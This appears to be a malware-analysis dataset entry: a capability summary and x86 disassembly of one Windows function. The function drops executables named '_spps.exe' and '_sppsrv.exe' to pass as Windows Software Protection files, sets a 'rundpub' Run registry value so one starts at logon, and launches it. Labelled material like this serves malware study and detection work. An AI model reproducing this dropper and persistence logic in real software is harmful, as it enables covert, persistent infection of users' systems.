Function at 0x10009c5d
Capabilities:
Create directory
Create process on windows
Get common file path
Persist via run registry key
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x924
push ebx
push ebp
push esi
mov dword [esp + 0x10], ecx
push edi
lea ecx, [esp + 0x80]
call fcn.100011f9
lea ecx, [esp + 0x20]
call fcn.10001256
movzx eax, byte [esp + 0x12b]
push eax
movzx eax, byte [esp + 0x12e]
push eax
movzx eax, byte [esp + 0x131]
push eax
movzx eax, byte [esp + 0x134]
push eax
movzx eax, byte [esp + 0x137]
push eax
movzx eax, byte [esp + 0x13a]
push eax
movzx eax, byte [esp + 0x13d]
push eax
movzx eax, byte [esp + 0x140]
push eax
movzx eax, word [esp + 0x142]
push eax
movzx eax, word [esp + 0x144]
push eax
push dword [esp + 0x144]
lea eax, [esp + 0x64]
push 0x1000d288
push 0x28
push eax
call fcn.1000ae5f
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
add esp, 0x38
lea eax, [esp + 0x38]
push eax
xor eax, eax
xor ebp, ebp
push ebp
inc eax
push eax
lea eax, [esp + 0x2c]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetEvent]
mov ebx, eax
push ebx
call esi
lea ecx, [esp + 0x38]
call fcn.1000ac52
lea eax, [esp + 0x3f]
push 0xce
push 0x83
push 0x56
push 0x13
push 0xeb
push 0x90
push 0xb5
push 0xb7
push 0x409d
push 0x56a9
push 0xf9584255
push 0x1000d288
push 0x21
push eax
call fcn.1000ae5f
add esp, 0x38
lea eax, [esp + 0x38]
push eax
push ebp
push 1
lea eax, [esp + 0x2c]
push eax
call edi
mov edi, eax
push edi
call esi
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push ebx
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push edi
call esi
push edi
call ebx
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x130]
call fcn.1000ad09
mov edx, str.SoftwareProtection
lea ecx, [esp + 0x130]
call fcn.1000ad37
lea eax, [esp + 0x130]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, str._spps.exe
lea ecx, [esp + 0x130]
call fcn.1000ad37
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x1c]
push eax
mov eax, dword [0x1000f5a8]
push ecx
mov edx, dword [eax + 0xc]
add edx, eax
mov esi, ebp
call fcn.1000719d
lea eax, [esp + 0x130]
push ebp
push 0x80
push 2
push ebp
push ebp
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x10009e55
mov edi, dword [esp + 0x34]
push ebp
lea ecx, [esp + 0x34]
push ecx
push edi
push dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10009e4f
cmp dword [esp + 0x30], edi
push 1
pop eax
cmove esi, eax
push dword [esp + 0x1c]
call ebx
mov ecx, dword [esp + 0x18]
call fcn.1000ad9b
test esi, esi
je 0x10009f25
lea ecx, [esp + 0x1c]
call fcn.10004ffb
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x20]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 2
push eax
push ebp
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10009eca
lea ecx, [esp + 0x130]
call fcn.1000ad26
add eax, eax
push eax
mov eax, ecx
push eax
xor eax, eax
inc eax
push eax
push ebp
push str.rundpub
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x40
lea eax, [esp + 0x40]
push ebp
push eax
call sub.ntdll.dll_memset
xor eax, eax
mov dword [esp + 0x2c], ebp
add esp, 0xc
lea edi, [esp + 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x1c]
lea eax, [esp + 0x13c]
push ebp
push 0xc000000
push ebp
push ebp
push ebp
push ebp
push eax
mov dword [esp + 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10009f25
push dword [esp + 0x24]
call ebx
push dword [esp + 0x20]
call ebx
lea eax, [esp + 0x730]
push eax
push ebp
push ebp
push 0x25
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [esp + 0x730]
lea ecx, [esp + 0x330]
call fcn.1000ad09
mov edx, str._sppsrv.exe
lea ecx, [esp + 0x330]
call fcn.1000ad37
mov eax, dword [0x1000f5a8]
push ebp
mov edi, dword [eax + 0xc]
push 0x80
push 2
push ebp
add edi, eax
mov eax, dword [eax + 0x10]
push ebp
mov dword [esp + 0x28], eax
push 0x40000000
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10009ffc
push ebp
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10009fb5
mov eax, dword [esp + 0x14]
cmp dword [esp + 0x1c], eax
push 1
pop eax
cmove ebp, eax
push esi
call ebx
test ebp, ebp
je 0x10009ffc
lea edx, [esp + 0x330]
lea ecx, [esp + 0x530]
call fcn.1000ad09
mov edx, 0x1000e024
lea ecx, [esp + 0x530]
call fcn.1000ad37
call fcn.10008200
push ecx
push ecx
lea ecx, [esp + 0x538]
call fcn.10008149
test eax, eax
je 0x10009ffc
call fcn.10008268
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x924
ret